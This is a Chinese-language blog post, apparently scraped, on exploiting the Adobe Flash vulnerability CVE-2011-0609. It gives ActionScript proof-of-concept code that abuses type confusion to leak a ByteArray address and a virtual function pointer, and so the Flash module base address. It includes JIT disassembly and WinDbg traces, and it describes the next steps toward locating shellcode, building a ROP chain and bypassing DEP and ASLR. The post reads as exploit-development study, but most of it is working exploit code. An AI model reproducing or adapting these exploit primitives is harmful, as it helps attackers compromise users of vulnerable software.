zoukankan      html  css  js  c++  java
  • Analysis of CVE-2011-0609 and Advance Exploit Technology

    参考:

    [1].http://www.vupen.com/blog/20110326.Technical_Analysis_and_Win7_Exploitation_Adobe_Flash_0Day_CVE-2011-0609.php
    相关工具:
    [1].SWFTools
    [2].WinRABCDAsmRABCDAsm
    [3].Windbg

    0×01.工具介绍
    SWFTools用来编译as脚本,编译as脚本命令:
    as3compile.exe poc.as -o poc.swf
    注意生成文件的路径。
    WinRABCDAsm和RABAsm是一款可以直接修改ByteCode的工具,在调试Flash是很好用。WinRABCDAsm是RABAsm的GUI界面,用C#编写,所以运行时首先
    需要安装微软.Net Frame Work4.0 ,安装完成后需要将RABAsm的目录添加到Path环境变量,因为WinRABCDAsm会调用RABAsm目录里面的exe文件,没有
    环境变量会爆各种错误。完成后就可以通过WinRABCDAsm.exe启动,将要修改的SWF拖入,找到要修改的类和方法, 双击进行修改:

    修改完成后点击Reassemble可将字节码重新打包编译成swf文件(修改在原文件上,注意备份原文件)
    WinDbg就不用说了.

    0×02.关于CVE-2011-0609
    该漏洞的利用方式五花八门,通过IE当然是第一种,后来看了下F-Secure爆出通过Excel利用该漏洞的攻击样本,后面Vupen又写文章简单描述了下该漏洞的高级利用方式(without Spary ,without javascript),这里我们的POC也是参考该文章。

    0×3. 漏洞成因
    正常的AS如下:

    package poc
    {
            import flash.display.MovieClip;
            import flash.utils.ByteArray;
            public class safe extends MovieClip 
             {
    
                    public function bla():ByteArray 
                    {
                            return new ByteArray();
                    }
    
                    public function safe() 
                    {
                            var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
                            var t:String = "AAAAAAAAAA&AAAAAAAAAAAAA";
                            t.length;
                    }
    
            }
    }

    将上面代码保存成as文件,用SWFTools编译成swf,再用WinRABCDAsm修改字节码。修改前的字节码:

    0×04 漏洞利用
    为了绕过ASLR,需要泄漏flash ocx控件的基地址。
    泄漏基地址的过程分为两部:
    1.泄漏ByteArray地址
    2.泄漏ByteArray结构的虚函数地址
    第一步可以通过混淆string类型和ByteArray类型实现,具体代码如下

     public function bla():String 
                    {
                            return new String("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
                    }
                    public function blb():ByteArray
                    {
                            var t:ByteArray = new ByteArray();
                            t.writeInt(1094795585);
                            t.writeInt(1094795585);
                            t.writeInt(1094795585);
                            t.writeInt(1094795585);
                            return t;
                    }
    
                    public function main() 
                    {
                            var tl:String = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
                            var t:ByteArray = blb();
                            var o:uint = t.length;//t is confused as String Object
                            trace("[output] ByteArray Object:0x"+o.toString(16));
                    }

    下图红色标注为ByteArray偏移0×10位置的指针。

    返回结果:

    接下来泄漏ByteArray结构的虚函数地址的代码如下:

    package poc
    {
            import flash.display.MovieClip;
            import flash.utils.ByteArray;
            import flash.external.ExternalInterface;
            public class safe extends MovieClip
             {
    
                    public function blc():Object
                    {
                        return null;
                    }
                    public function bld(param:uint):uint
                    {
                        var a:uint=parseInt(param);
                        a=a|0x00000007;
                        return a;
                    }
                    public function safe()
                    {
                            var t2:Object= (1 == 0) ? blc() : (1 == 0) ? blc() : blc();
                            var t3:uint=0x41414141;
                            var t0:uint=bld(t3);
                            var fakenumber:Number=new Number(t0);//t0 is confused as Number Object
                            trace("fakeunmber is :0x"+fakenumber.toString(16));
                    }
    
            }
    }

    上面的代码用来将0×41414141的地址混淆成一个Number对象,其中safe函数生成的jit code如下:

    04c59ec9 8945f0          mov     dword ptr [ebp-10h],eax
    04c59ecc eb71            jmp     04c59f3f
    04c59ece 8b45c8          mov     eax,dword ptr [ebp-38h]
    04c59ed1 8b7008          mov     esi,dword ptr [eax+8]
    04c59ed4 8bb6d4020000    mov     esi,dword ptr [esi+2D4h]
    04c59eda 8d8d64ffffff    lea     ecx,[ebp-9Ch]
    04c59ee0 898564ffffff    mov     dword ptr [ebp-9Ch],eax
    04c59ee6 8b06            mov     eax,dword ptr [esi]
    04c59ee8 51              push    ecx
    04c59ee9 6a00            push    0
    04c59eeb 56              push    esi
    04c59eec ffd0            call    eax {Flash10h!CreateInstance+0x150b6c (6524c370)}==============================>   bld()
    04c59eee 83c40c          add     esp,0Ch
    04c59ef1 8945f0          mov     dword ptr [ebp-10h],eax
    04c59ef4 8b75f0          mov     esi,dword ptr [ebp-10h]
    04c59ef7 8975d0          mov     dword ptr [ebp-30h],esi
    04c59efa c745a880e3a604  mov     dword ptr [ebp-58h],4A6E380h
    04c59f01 c745d841414141  mov     dword ptr [ebp-28h],41414141h
    04c59f08 c745ac00e7a604  mov     dword ptr [ebp-54h],4A6E700h
    04c59f0f 8b45c8          mov     eax,dword ptr [ebp-38h]
    04c59f12 8b7008          mov     esi,dword ptr [eax+8]
    04c59f15 8bb6d8020000    mov     esi,dword ptr [esi+2D8h]
    04c59f1b 8d8d60ffffff    lea     ecx,[ebp-0A0h]
    04c59f21 898560ffffff    mov     dword ptr [ebp-0A0h],eax
    04c59f27 c78564ffffff41414141 mov dword ptr [ebp-9Ch],41414141h
    04c59f31 8b06            mov     eax,dword ptr [esi]
    04c59f33 51              push    ecx
    04c59f34 6a01            push    1
    04c59f36 56              push    esi
    04c59f37 ffd0            call    eax                            ==============================>   bld()
    04c59f39 83c40c          add     esp,0Ch
    04c59f3c 8945f0          mov     dword ptr [ebp-10h],eax
    04c59f3f 8b75f0          mov     esi,dword ptr [ebp-10h]
    04c59f42 8975e0          mov     dword ptr [ebp-20h],esi
    04c59f45 c745b080e3a604  mov     dword ptr [ebp-50h],4A6E380h
    04c59f4c 6a00            push    0
    04c59f4e 68380fa204      push    4A20F38h
    04c59f53 53              push    ebx
    04c59f54 e857a45e60      call    Flash10h!CreateInstance+0x148bac (652443b0)
    04c59f59 83c40c          add     esp,0Ch
    04c59f5c 8bd6            mov     edx,esi
    04c59f5e 8b75a0          mov     esi,dword ptr [ebp-60h]
    04c59f61 8b405c          mov     eax,dword ptr [eax+5Ch]
    04c59f64 83c801          or      eax,1
    04c59f67 8d8d60ffffff    lea     ecx,[ebp-0A0h]
    04c59f6d c78560ffffff01000000 mov dword ptr [ebp-0A0h],1
    04c59f77 899564ffffff    mov     dword ptr [ebp-9Ch],edx
    04c59f7d 51              push    ecx
    04c59f7e 6a01            push    1
    04c59f80 50              push    eax
    04c59f81 53              push    ebx
    04c59f82 e8c9ae5f60      call    Flash10h!CreateInstance+0x15964c (65254e50)     ================== > Number()
    04c59f87 83c410          add     esp,10h

    Windbg调试时断在Number()处:

    0:005> p
    eax=04aab711 ebx=04c4fa30 ecx=026cd3d4 edx=41414147 esi=00000000 edi=04a2f000
    eip=04c84ec2 esp=026cd3ac ebp=026cd484 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040206
    04c84ec2 e889ff6760      call    Flash10h!CreateInstance+0x15964c (65304e50)
    0:005> p
    eax=41414147 ebx=04c4fa30 ecx=00000006 edx=026cd3d4 esi=00000000 edi=04a2f000
    eip=04c84ec7 esp=026cd3ac ebp=026cd484 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040246
    04c84ec7 83c410          add     esp,10h

    返回的eax值为41414147即伪造的Number对象地址。如果不理解为何在bld函数中有个xor 7的操作,请看HaiFei Li的文章。
    接下来就可以将0×41414141替换成第一步中泄漏的ByteArray的地址,并读取混淆后的虚函数地址,之后根据虚函数就可以获取基址了,
    这里需要注意的是在同一个as文件中进行混淆时发现并没有成功,不知道何原因,将其放置在两个as文件中,如下:

    main.as:

    package poc
    {
            import flash.display.MovieClip;
            import flash.utils.ByteArray;
            import flash.external.ExternalInterface;
            public class main extends MovieClip 
             {
    
                   
                    public function bla():String 
                    {
                            return new String("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
                    }
                    public function blb():ByteArray
                    {
                            var t:ByteArray = new ByteArray();
                            t.writeInt(1094795585);
                            t.writeInt(1094795585);
                            t.writeInt(1094795585);
                            t.writeInt(1094795585);
                            return t;
                    }
    
                    public function main() 
                    {
                            var tl:String = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
                            var t:ByteArray = blb();
                            var o:uint = t.length;//t is confused as String Object
                            trace("[output] ByteArray Object:0x"+o.toString(16));
                            var base:uint=egg.get_base(o);
                            trace("[output] Virtual function Address:0x"+base.toString(16));
                            trace("[output] Flash Module Base Address:0x"+(base-0x00489b94).toString(16));
                    }
    
            }
    }

    egg.as:

    package poc {
            import flash.utils.ByteArray;
            public class egg
            {
                
    
                    static public function blc():Object
                    {
                        return null;
                    }
                    static public function bld(param:uint):uint
                    {
                        var a:uint=param;
                        a=a|0x00000007;
                        return a;
                    }
                    static public function get_base(param:uint):uint
                    {
                            trace("[output] arg from main:0x"+param.toString(16));
                            var t2:Object= (1 == 0) ? blc() : (1 == 0) ? blc() : blc();
                            var t3:uint=bld(param);
                            var fakenumber:Number=new Number(t3);
                           // trace("[output] ByteArray Object:0x"+fakenumber.toString(16));
                            var b:ByteArray = new ByteArray();
                            b.writeDouble(fakenumber);
                            var res:uint;
                            res = b[4]*0x1000000 + b[5]*0x10000 + b[6]*0x100 + b[7];
                            return res;
                    }
    
            }
    
        }

    运行效果如下:

    这样我们就可以获取模块的基址,通过同样的方式来获取shellcode地址,构造ROP链,ByPass DEP…

  • 相关阅读:
    批量修改文件
    mysql-5.5.32-linux2.6-x86_64.tar.gz 二进制源码定制安装MySQL服务器
    源码搭建nginx服务器
    Python--安装
    k8s-修改线程数
    容器卡在terminate状态无法删除
    扩/
    磁盘分区+挂载
    499
    清理磁盘
  • 原文地址:https://www.cnblogs.com/Lamboy/p/4141615.html
Copyright © 2011-2022 走看看